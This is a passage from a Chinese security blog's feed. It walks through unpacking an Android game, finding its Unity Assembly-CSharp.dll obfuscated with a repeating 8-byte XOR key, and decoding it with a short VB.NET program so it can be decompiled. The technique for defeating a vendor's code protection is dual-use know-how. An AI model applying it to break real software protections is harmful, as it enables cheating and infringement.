                &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;Try&lt;/span&gt;
                &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
                &lt;span class="k"&gt;If&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;Then&lt;/span&gt;
                    &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
                &lt;span class="k"&gt;Else&lt;/span&gt;
                    &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
                &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;If&lt;/span&gt;
                &lt;span class="n"&gt;keyindex&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;While&lt;/span&gt;
            &lt;span class="n"&gt;bw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="n"&gt;br&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="n"&gt;bw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Flush&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="n"&gt;bw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;Catch&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="n"&gt;Exception&lt;/span&gt;
            &lt;span class="n"&gt;Console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WriteLine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;Try&lt;/span&gt;
    &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;Sub&lt;/span&gt;
&lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;Module&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block last_md_block_in_page"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"&gt;&lt;img class="md_compiled " src="/LOFTER/img/NnVleEM4enhaZ2dqeEltVmsrYk4ydXJiblJDekdCNllNdjBPb3RMT3VCRFM4TldlVXIyUTJBPT0.jpg" alt="" title="" &gt;&lt;/span&gt;
&lt;/p&gt;</summary>

  </entry>


  <entry>


    <title>Unity3d Assembly-CSharp decode</title>

    <link href="https://www.secbig.com/2018-02-20-unity3d-assembly-csharp-decode-1"  rel="alternate"></link>

    <updated>2018-02-20T10:38:09Z</updated>
    <id>2018-02-20-unity3d-assembly-csharp-decode-1</id>

    <author>
      <name>大安全</name>

    </author>
    <summary type="html">&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;没事看了个游戏，虽然我是ios的但是android 不分区，直接去下了一个gpk（还是头一回看见有gpk后缀文件。。孤陋寡闻了）和普通apk一样zip解压  &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start next_md_line next_img_before next_only_img_before next_md_line_end"&gt;&lt;img class="md_compiled " src="/img/NnVleEM4enhaZ2l2eXQxdEhhUHNxN3YzOWJoS2VCMjM3UytZNXB0SmtwVEhaQmUwb3Q1RFlBPT0.jpg" alt="" title="" &gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line img_before only_img_before md_line_end"&gt;继续解压application.apk&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start next_md_line next_img_before next_only_img_before next_md_line_end"&gt;&lt;img class="md_compiled " src="/img/NnVleEM4enhaZ2hvM0RLYmYxenFGYXQzWEJSY3BJdVFCVUwrSE90ekdTTS9TTDV5L2hyTFJRPT0.jpg" alt="" title="" &gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line img_before only_img_before md_line_end"&gt;dex2jar&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;发现是unity3d的&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image next_md_line next_img_before next_only_img_before"&gt;&lt;img class="md_compiled " src="/img/NnVleEM4enhaZ2hrZkJUUkRxQjBLSzF4QjF6dThPTTA4Y3RjWXJiQmxzUyt6UnpUYi9OMWt3PT0.jpg" alt="" title="" &gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line img_before only_img_before"&gt;直接去application\assets\bin\Data\Managed 下反编译Assembly-CSharp.dll&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;反编译软件报错，说不是正常的dos文件。通过查看Assembly-CSharp.dll的是文件头发现不是正常的文件头应该被加密过的。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"&gt;&lt;img class="md_compiled " src="/img/NnVleEM4enhaZ2hQejhxajRvVS85cUsreVFnWlI0MkdVSEdmVkxOc0Vmb3VOYVorN1B5aW1BPT0.jpg" alt="" title="" &gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当时心里就表示毙了狗。不过很快就发现了应该只是对十六进制做了普通的字符串加密，并不是加壳等。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;随便找了个dll文件做对比&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;直接把文件拉到最下端。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start next_md_line next_img_before next_only_img_before next_md_line_end"&gt;&lt;img class="md_compiled " src="/img/NnVleEM4enhaZ2htSlcxSWhSdXpEM0Q0bG5lRHQwWTMvdkNRb1YwSW1CenB2RjdReW1KUnZnPT0.jpg" alt="" title="" &gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line img_before only_img_before md_line_end"&gt;发现应该被00填充的地方加密文件都被95 CC 8E 8F 90 9C B7 87&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;这8个填充了，感觉有可能是异或文件操作。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;直接拉到最上端取8个字节（因为文件头应该是相似的），对字符串做异或操作。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start next_md_line next_img_before next_only_img_before next_md_line_end"&gt;&lt;img class="md_compiled " src="/img/NnVleEM4enhaZ2dYMTJhM3dNTmpFcm0wMkcvaE9SdjZRc0RjOUk0TnVxdnRmR25Pb0tmTzJRPT0.jpg" alt="" title="" &gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line img_before only_img_before md_line_end"&gt;异或后的结果应该是正常的文件头。猜测每隔8位异或95 CC 8E 8F 90 9C B7 87 应该就能成功恢复&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_vbnet  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;Imports&lt;/span&gt; &lt;span class="nn"&gt;System.IO&lt;/span&gt;
&lt;span class="k"&gt;Module&lt;/span&gt; &lt;span class="nn"&gt;Module1&lt;/span&gt;
    &lt;span class="k"&gt;Sub&lt;/span&gt; &lt;span class="nf"&gt;Main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;Try&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;fs&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="n"&gt;FileStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;C:\Users\forxu\Desktop\Assembly-CSharp.dll&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FileMode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Open&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FileAccess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;fw&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="n"&gt;FileStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;C:\Users\forxu\Desktop\Assembly-CSharp-decode.dll&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FileMode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;OpenOrCreate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FileAccess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;br&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="n"&gt;BinaryReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;bw&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="n"&gt;BinaryWriter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="kt"&gt;Integer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="kt"&gt;Byte&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="kt"&gt;Byte&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H95&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;HCC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H8E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H8F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H9C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;HB7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;H87&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="kt"&gt;Byte&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;New&lt;/span&gt; &lt;span class="kt"&gt;Byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
            &lt;span class="k"&gt;Dim&lt;/span&gt; &lt;span class="n"&gt;keyindex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
            &lt;span class="k"&gt;While&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
                &lt;span class="k"&gt;Try&lt;/span&gt;
                    &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keyindex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;br&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ReadByte&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="ow"&gt;Xor&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="k"&gt;Catch&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="n"&gt;Exception&lt;/span&gt;
                    &lt;span class="n"&gt;Console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WriteLine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;Try&lt;/span&gt;
                &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
                &lt;span class="k"&gt;If&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;Then&lt;/span&gt;
                    &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
                &lt;span class="k"&gt;Else&lt;/span&gt;
                    &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
                &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;If&lt;/span&gt;
                &lt;span class="n"&gt;keyindex&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;While&lt;/span&gt;
            &lt;span class="n"&gt;bw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="n"&gt;br&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="n"&gt;bw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Flush&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="n"&gt;bw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;Catch&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt; &lt;span class="ow"&gt;As&lt;/span&gt; &lt;span class="n"&gt;Exception&lt;/span&gt;
            &lt;span class="n"&gt;Console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WriteLine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;Try&lt;/span&gt;
    &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;Sub&lt;/span&gt;
&lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="k"&gt;Module&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block last_md_block_in_page"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"&gt;&lt;img class="md_compiled " src="/img/NnVleEM4enhaZ2dqeEltVmsrYk4ydXJiblJDekdCNllNdjBPb3RMT3VCRFM4TldlVXIyUTJBPT0.jpg" alt="" title="" &gt;&lt;/span&gt;
&lt;/p&gt;</summary>

  </entry>


</feed>